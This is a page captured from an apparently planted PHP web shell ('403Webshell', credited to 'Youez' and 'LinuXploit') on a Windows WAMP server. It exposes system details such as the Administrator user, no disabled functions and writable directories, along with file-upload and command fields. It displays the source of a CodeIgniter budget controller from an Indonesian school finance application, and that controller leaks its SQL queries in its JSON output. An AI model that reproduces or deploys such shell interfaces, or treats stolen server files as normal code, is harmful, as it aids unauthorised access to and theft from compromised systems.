403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/wamp/www/sipapbd_2020_sekolah_geser/application/modules/anggaran/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/wamp/www/sipapbd_2020_sekolah_geser/application/modules/anggaran/controllers/anggaran.php
<?php
class Anggaran extends Userpage_Controller {
  public function __construct()
  {
    parent::__construct();
    $this->load->model('anggaran_model', 'data_model');
    $this->load->model('auth/login_model', 'auth');
  }

  public function index()
  {
    $data['title']=' Salin Anggaran';
    $data['main_content']='anggaran_view';
    $data['akses'] = $this->auth->get_level_akses($this->uri->slash_segment(1));
    $this->load->view('layout/template',$data);
  }

  public function get_daftar($str='')
  {
    $response = (Object) NULL;
    $param = (Object) NULL;

    $param->tahun_baru = $this->input->post('tahun_baru');
    $param->status_baru = $this->input->post('status_baru');
    $param->field = $this->input->post('field');
    $param->oper = $this->input->post('oper');
    $param->strings = ($str == 'refresh')? '' : strtoupper($this->input->post('string'));

    $result = $this->data_model->get_daftar($param);

    for($i = 0; $i < count($result); $i++)
    {
      if ($result[$i]['TIPE'] === 'RKA221' && $result[$i]['LANJUTAN'] === '1')
      {
        $tipe = 'RKAL';
      }
      else
      {
        $tipe = $result[$i]['TIPE'];
      };

      $response->rows[$i]['id'] = $result[$i]['ID_FORM_ANGGARAN'];
      $response->rows[$i]['cell']=array(
        $result[$i]['ID_FORM_ANGGARAN'],
        $result[$i]['KODE_SKPD_LKP'],
        $result[$i]['NAMA_SKPD'],
        $result[$i]['TIPE'],
        $result[$i]['KODE_KEGIATAN_SKPD'],
        $result[$i]['NAMA_KEGIATAN'],
		$result[$i]['ID_FORM_ANGGARAN_RKA'],
      );
    }
	$response->sql = $this->db->queries;
    echo json_encode($response);
  }

  public function proses()
  {
    $response = (Object) NULL;
    $param = (Object) NULL;

    $param->id = $this->input->post('id');
    $param->tahun_baru = $this->input->post('tahun_baru');
    $param->status_baru = $this->input->post('status_baru');
	$param->tipe = $this->input->post('tipe');
	$param->id_anggaran_global = $this->input->post('idag');

    if ($param->id)
    {
      $result = $this->data_model->salin_anggaran($param);
      if ($result)
      {
        $response->isSuccess = TRUE;
        $response->id = $param->id;
      }
      else
      {
        $response->isSuccess = FALSE;
        $response->id = $param->id;
      }
    }
    else
    {
        $response->isSuccess = FALSE;
        $response->id = $param->id;
    }
    echo json_encode($response);
  }

  public function get_tahun_anggaran()
  {
    $response = (Object) NULL;
    $result = $this->data_model->get_tahun_anggaran();
    for($i=0; $i<count($result); $i++)
    {
      $response->rows[$i]['id'] = $result[$i]['TAHUN'];
      $response->rows[$i]['cell']=array($result[$i]['TAHUN']);
    }
    echo json_encode($response);
  }

  public function get_status_anggaran($tahun = 0)
  {
    $response = (Object) NULL;
    $result = $this->data_model->get_status_anggaran($tahun);
    for($i=0; $i<count($result); $i++)
    {
      $response->rows[$i]['id'] = $result[$i]['STATUS'];
      $response->rows[$i]['cell']=array($result[$i]['STATUS']);
    }
    echo json_encode($response);
  }

  public function get_status_anggaran2($tahun = 0, $status = '')
  {
    $response = (Object) NULL;
    $result = $this->data_model->get_status_anggaran2($tahun,$status);
    for($i=0; $i<count($result); $i++)
    {
      $response->rows[$i]['id'] = $result[$i]['STATUS'];
      $response->rows[$i]['cell']=array($result[$i]['STATUS']);
    }
    echo json_encode($response);
  }

  public function get_filter($field,$oper,$string,$tahun,$status)
  {
    $response = (Object) NULL;
    $param = (Object) NULL;
    $result = $this->data_model->get_filter($field,$oper,$string,$tahun,$status);
    for($i=0; $i<count($result); $i++)
    {
      if ($result[$i]['TIPE'] === 'RKA221' && $result[$i]['LANJUTAN'] === '1')
      {
        $tipe = 'RKAL';
      }
      else
      {
        $tipe = $result[$i]['TIPE'];
      }

      $response->rows[$i]['id'] = $result[$i]['ID_FORM_ANGGARAN'];
      $response->rows[$i]['cell']=array($result[$i]['ID_FORM_ANGGARAN'],
                          $result[$i]['KODE_SKPD_LKP'],
                          $result[$i]['NAMA_SKPD'],
                          $result[$i]['TIPE'],
                          $result[$i]['KODE_KEGIATAN_SKPD'],
                          $result[$i]['NAMA_KEGIATAN']
                        );
    }
    echo json_encode($response);
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit